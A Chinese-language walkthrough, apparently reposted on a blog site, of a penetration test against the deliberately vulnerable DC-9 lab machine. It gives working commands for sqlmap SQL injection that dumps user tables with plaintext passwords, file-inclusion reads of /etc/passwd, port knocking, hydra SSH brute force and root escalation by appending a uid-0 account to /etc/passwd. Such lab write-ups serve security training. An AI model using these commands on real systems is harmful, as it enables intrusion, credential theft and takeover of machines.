当前位置:   article > 正文

对DC-9靶机进行渗透测试_dc9靶机

dc9靶机

环境搭建

靶机:DC-9,IP地址:192.168.52.142

测试机:Kali,IP地址:192.168.52.134

一. 信息收集

1、下载安装并启动DC-9

下载完解压后会有一个以.ova为后缀的文件,直接在VM中用”打开虚拟机”,在设置中修改网络适配器为NET模式。

在这里记一下DC-9的MAC地址,等下用的到。

启动DC-9时开机就好,因为不知道用户名和密码,所以登录不了

2、打开kali,查看kali的IP地址和子网掩码

因为DC-9和kali现在属于同一个网段,查看kali的IP和子网掩码是为了获得DC-9的网络号

DC-9的网络号是:192.168.52.0/24

3、使用netdiscover扫描主机

netdiscover -i eth0 -r 192.168.52.0/24

##netdiscover: -i 指定网卡 -r 指定网段

也可以使用nmap进行主机发现,

nmap -sP 192.168.52.0/24

在使用nmap进行主机发现时,会扫描出本机的IP地址,而netdiscover则不会扫描出本机IP地址

或使用arp-scan -l命令拿到DC-9的IP地址

arp-scan -l

根据之前记下的MAC地址确定扫描到的主机哪一个是DC-9,因为MAC地址是主机的唯一标识。

获得DC-9靶机ip:192.168.52.142(可通过kali浏览器访问进行验证)

4、使用nmap扫描DC-9,看有什么服务是可利用的(端口扫描)

root@kali:~# nmap -sV -A 192.168.52.142

-sV只扫描端口及其版本号

-A扫描端口的详细信息

目标靶机开放了80端口,22端口显示被过滤掉了。

5、我们以80端口作为突破口,访问80,查看基本信息

可以使用Firefox插件Wappalyzer,或者扫描网站目录,查看robots.txt等暴露出的信息,可以获取到网站相关信息

使用浏览器插件Wappalyzer,检测网站的CMS,框架,服务器等信息

没有检测到CMS信息

利用dirsearch进行网站目录扫描:

dirsearch -u 192.168.52.142 -e * -i 200

-i 状态码 只显示该状态码

-x 状态码 不显示该状态码

二. 漏洞查找与利用

1. SQL注入

在页面发现一个search框,可以查询用户信息,与数据库有交互,猜测可能存在SQL注入,随便输入数据查询,URL框没有改变,说明是POST方式提交,B

urp抓包检测是否存在SQL注入的可能

可以看出确实存在POST型SQL注入,网站应该对注入做了一些应对措施。过滤啊,屏蔽报错啊

利用kali自带的sqlmap工具进行自动化注入

列出所有数据库:

  1. sqlmap -u "http://192.168.52.142/results.php" --data "search=1" --batch --dbs
  2. --data 此参数是把数据以POST方式提交
  3. --batch 默认确认,不询问你是否输入
  4. --dbs列出所有数据库

发现Staff和users数据库,先看看users库中有什么

1)、users数据库

a、列出users数据库的所有表

  1. sqlmap -u "http://192.168.52.142/results.php" --data "search=1" --batch -D users --tables
  2. -D 指定数据库,当数据库名含有特殊符号的时候,需要用引号包括起来
  3. --tables 获取表名

b、查看users数据库下的UserDetails表下所有字段里的数据

  1. sqlmap -u "http://192.168.52.142/results.php" --data "search=1" -D users -T UserDetails --dump
  2. -T 指定表名,当表名含有特殊符号的时候,需要用引号包括起来
  3. --dump 获取数据
  1. +----+------------+---------------+---------------------+-----------+-----------+
  2. | id | lastname | password | reg_date | username | firstname |
  3. +----+------------+---------------+---------------------+-----------+-----------+
  4. | 1 | Moe | 3kfs86sfd | 2019-12-29 16:58:26 | marym | Mary |
  5. | 2 | Dooley | 468sfdfsd2 | 2019-12-29 16:58:26 | julied | Julie |
  6. | 3 | Flintstone | 4sfd87sfd1 | 2019-12-29 16:58:26 | fredf | Fred |
  7. | 4 | Rubble | RocksOff | 2019-12-29 16:58:26 | barneyr | Barney |
  8. | 5 | Cat | TC&TheBoyz | 2019-12-29 16:58:26 | tomc | Tom |
  9. | 6 | Mouse | B8m#48sd | 2019-12-29 16:58:26 | jerrym | Jerry |
  10. | 7 | Flintstone | Pebbles | 2019-12-29 16:58:26 | wilmaf | Wilma |
  11. | 8 | Rubble | BamBam01 | 2019-12-29 16:58:26 | bettyr | Betty |
  12. | 9 | Bing | UrAG0D! | 2019-12-29 16:58:26 | chandlerb | Chandler |
  13. | 10 | Tribbiani | Passw0rd | 2019-12-29 16:58:26 | joeyt | Joey |
  14. | 11 | Green | yN72#dsd | 2019-12-29 16:58:26 | rachelg | Rachel |
  15. | 12 | Geller | ILoveRachel | 2019-12-29 16:58:26 | rossg | Ross |
  16. | 13 | Geller | 3248dsds7s | 2019-12-29 16:58:26 | monicag | Monica |
  17. | 14 | Buffay | smellycats | 2019-12-29 16:58:26 | phoebeb | Phoebe |
  18. | 15 | McScoots | YR3BVxxxw87 | 2019-12-29 16:58:26 | scoots | Scooter |
  19. | 16 | Trump | Ilovepeepee | 2019-12-29 16:58:26 | janitor | Donald |
  20. | 17 | Morrison | Hawaii-Five-0 | 2019-12-29 16:58:28 | janitor2 | Scott |
  21. +----+------------+---------------+---------------------+-----------+-----------+

这里是那些员工这账号和密码,后面可能会用到,先放着,然后我们再看看Staff库里面有啥

2)、Staff数据库

a、列出Staff数据库的所有表

  1. sqlmap -u "http://192.168.52.142/results.php" --data "search=1" --batch -D Staff --tables
  2. -D 指定数据库,当数据库名含有特殊符号的时候,需要用引号包括起来
  3. --tables 获取表名

b、查看Staff数据库下的StaffDetails表下所有字段里的数据

  1. sqlmap -u "http://192.168.52.142/results.php" --data "search=1" -D Staff -T StaffDetails --dump
  2. -T 指定表名,当表名含有特殊符号的时候,需要用引号包括起来
  3. --dump 获取数据

c、查看Staff数据库下的Users表下所有字段里的数据

  1. sqlmap -u "http://192.168.52.142/results.php" --data "search=1" -D Staff -T Users --dump
  2. -T 指定表名,当表名含有特殊符号的时候,需要用引号包括起来
  3. --dump 获取数据

dump完密码的时候会提示你是否解密md5,选择sqlmap自带的字典就可以跑出明文密码

得到用户名和密码:admin/transorbital1 ,然后使用这个用户去站点登录

2. 本地文件包含漏洞(LFI)

登录后增加了Add Record和Manage页面,在Manage的下面发现了一句话File does not exits ,猜测可能存在文件包含漏洞,猜测文件参数是file

?file=../../../../etc/passwd

果然存在LFI漏洞,接下来是fuzz一下系统文件

发现了/etc/knockd.conf,这就和之前nmap扫描靶机运行了SSH服务,但状态是filtered对应起来了,因为knockd可以对SSH进行防护

3、端口敲门

knockd字面意思是敲,只是这里敲的是端口,而且需要按照顺序‘敲’端口。如果敲击规则匹配,则可以让防火墙实时更改策略。从而达到开关防火墙的目的。

看一下/etc/knockd.conf文件中的自定义端口

有3个自定义端口7469,8475,9842,根据Port-knocking的规则依次访问这三个端口就可以打开SSH服务了,不过有时间限制,所以动作要快

  1. sudo nmap -p 7469 192.168.52.142
  2. sudo nmap -p 8475 192.168.52.142
  3. sudo nmap -p 9842 192.168.52.142
  4. 或者安装knockd
  5. knock 192.168.52.142 7469 8475 9842

现在查看ssh服务是否被敲开

sudo nmap -p 22 192.168.52.142

不出所料SSH服务被成功敲开

4.hydra爆破SSH账户

将前面所爆出来的那些员工的账号和密码编写成两个字典,进行ssh爆破,注意各个字符串之间不要有空格,不然空格也会算在字符串中,可能会爆破不出来

使用hydra爆破SSH账户

hydra -L username.txt -P password.txt ssh://192.168.52.142

爆破出来有3个用户可用,chandlerb\UrAG0D!、joeyt\Passw0rd、janitor\Ilovepeepee

依次登录3个用户,最终在用户janitor的目录下找到了隐藏文件

  1. ssh chandlerb@192.168.52.142
  2. UrAG0D!
  3. ssh joeyt@192.168.52.142
  4. Passw0rd
  5. ssh janitor@192.168.52.142
  6. Ilovepeepee

.secrets-for-putin隐藏文件中有一个可读文件,打开后这好像是存放的用户密码,然后把这些密码再加进刚刚我们编写的password.txt字典中重新再爆破一次看看

爆破出了一个新的用户号:fredf\B4-Tru3-001

三、提权

使用fredf用户登录靶机

  1. ssh fredf@192.168.52.142
  2. B4-Tru3-001

列出sudo权限的命令,这里发现fred用户在NOPASSWD的情况下可以使用root权限运行这个test文件

sudo -l

尝试运行,发现它是一个python文件

使用find查找test.py文件

  1. find / -name test.py 2>/dev/null
  2. ### 2>/dev/null 代表忽略掉错误提示信息。

查看test.py

py文件的含义为:读取参数1的内容,然后将参数1的内容写入到参数2的内容中。

那我们可以构造一个root权限用户,将该用户信息写入文件内,将改文件作为参数1,/etc/passwd作为参数2,这样就创建了一个root权限用户,就能实现提权了

构造参数1:

  1. openssl passwd -1 -salt admin 123456
  2. -1 的意思是使用md5加密算法
  3. -salt 自动插入一个随机数作为文件内容加密
  4. admin 123456 用户名和密码

根据/etc/passwd的格式,修改一下然后存入一个文件里,这个文件就是参数1

  1. echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /tmp/passwd
  2. # 用户名:密码:uid:gid:家目录:登陆后使用的shell
  3. cat /tmp/passwd
  4. sudo ./test /tmp/passwd /etc/passwd
  5. #执行test文件  参数1  参数2

运行脚本的时候最好切换到test目录下,test.py的路径为绝对路径

写入完成后登录到我们创建的新账号

在root目录下获取flag

  1. su admin
  2. Password:123456
  3. cd /root
  4. ls
  5. cat theflag.txt

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/寸_铁/article/detail/987248
推荐阅读
相关标签
  

闽ICP备14008679号